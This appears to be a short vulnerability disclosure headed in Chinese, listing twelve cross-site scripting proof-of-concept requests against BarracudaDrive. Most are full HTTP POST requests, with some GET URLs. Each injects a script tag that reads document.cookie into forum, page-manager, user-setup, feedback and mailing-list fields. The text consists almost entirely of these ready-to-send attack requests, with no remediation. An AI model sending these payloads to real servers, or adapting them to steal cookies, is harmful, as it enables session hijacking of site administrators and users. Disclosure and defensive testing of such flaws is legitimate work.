BarracudaDrive多个跨站脚本漏洞

1) POST /Forum/manage/ForumManager.lsp?nForumId=1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/Forum/manage/ForumManager.lsp?nForumId=1 Cookie: z9ZAqJtI=714dd7c0530d8b06 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 170 Post Data : ========== nSortOrder=0&sForumName=<script>alert(document.cookie)</script>&sDescription=<script>alert(document.cookie)</script>&deleteforum=no&nForumId=1 2) POST /Forum/manage/hangman.lsp?nId=1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/Forum/manage/hangman.lsp?nId=1 Cookie: z9ZAqJtI=714dd7c0530d8b06 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 135 Post Data : =========== sHint=<script>alert(document.cookie)</script>&sWord=<script>alert(document.cookie)</script>&save=Save&nId=1 3) GET /Forum/manage/hangman.lsp?nId=<script>alert(document.cookie)</script> (With atleast single entry in the table of Word Manager) 4) POST /Forum/manage/ForumManager.lsp?newforum=true Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/Forum/manage/ForumManager.lsp?newforum=true Cookie: z9ZAqJtI=714dd7c0530d8b06 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 171 Post Data : ========== nSortOrder=0&sForumName=<script>alert(document.cookie)</script>&sDescription=<script>alert(document.cookie)</script>&deleteforum=no&nForumId=-1 5) POST /rtl/protected/admin/wizard/setuser.lsp Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/rtl/protected/admin/wizard/setuser.lsp Cookie: z9ZAqJtI=714dd7c0530d8b06 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 92 Post Data : ========== user=<script>alert(document.cookie)</script>&password=test&path=/c/bdusers 6) POST /feedback.lsp Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/Contact-Us.html Cookie: z9ZAqJtI=714dd7c0530d8b06 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 226 Post Data : ========== name=<script>alert(document.cookie)</script>&email=<script>alert(document.cookie)</script>&message=test&k1=1393176261&k2=652054939&ck1=JBxYStg2gm3CuvlMdKlxsA==&ck2=JxxfTNM1hm7Nu/YxAAAAAA== Effect will on: /private/manage/messages.lsp /private/manage/messages.lsp?key=1 7) POST /private/manage/PageManager.lsp?parent=0&newpage=true Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/private/manage/PageManager.lsp?parent=0&newpage=true Cookie: tzone=--330; z9ZAqJtI=714dd7c0530d8b06 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 158 Post Data : ========== position=0&lname=<script>alert(document.cookie)</script>&url=<script>alert(document.cookie)</script>&deletepage=no&parent=0&key=-1 8) POST /private/manage/PageManager.lsp?parent=0&edit=9 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/private/manage/PageManager.lsp?parent=0&edit=9 Cookie: tzone=--330; z9ZAqJtI=714dd7c0530d8b06 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 174 Post Data : =========== position=0&lname=<script>alert(document.cookie)</script>&url=<script>alert(document.cookie)</script>&cancel=Cancel&deletepage=no&parent=0&key=9 Effects will be on: /private/manage/PageManager.lsp 9) GET /fs/?cmd=<script>alert(document.cookie)</script> 10) POST /rtl/protected/mail/manage/list.lsp Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/rtl/protected/mail/manage/list.lsp Cookie: tzone=--330; z9ZAqJtI=714dd7c0530d8b06 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 99 Post Data : =========== newname=<script>alert(document.cookie)</script>&description=<script>alert(document.cookie)</script>&save=Create+New+List Effect will be on '/rtl/protected/mail/manage/lists.lsp' 11) POST /rtl/protected/mail/manage/list.lsp?name=test Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/rtl/protected/mail/manage/list.lsp?name=test Cookie: tzone=--330; z9ZAqJtI=714dd7c0530d8b06 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 259 Post Data : ========== listkey=2&email=test123@gmail.com&firstname=<script>alert(document.cookie)</script>&lastname=<script>alert(document.cookie)</script>&id=<script>alert(document.cookie)</script>&addsub=save&name=test&offset=0&save=Save 12) GET /fs/<script>alert(document.cookie)</script>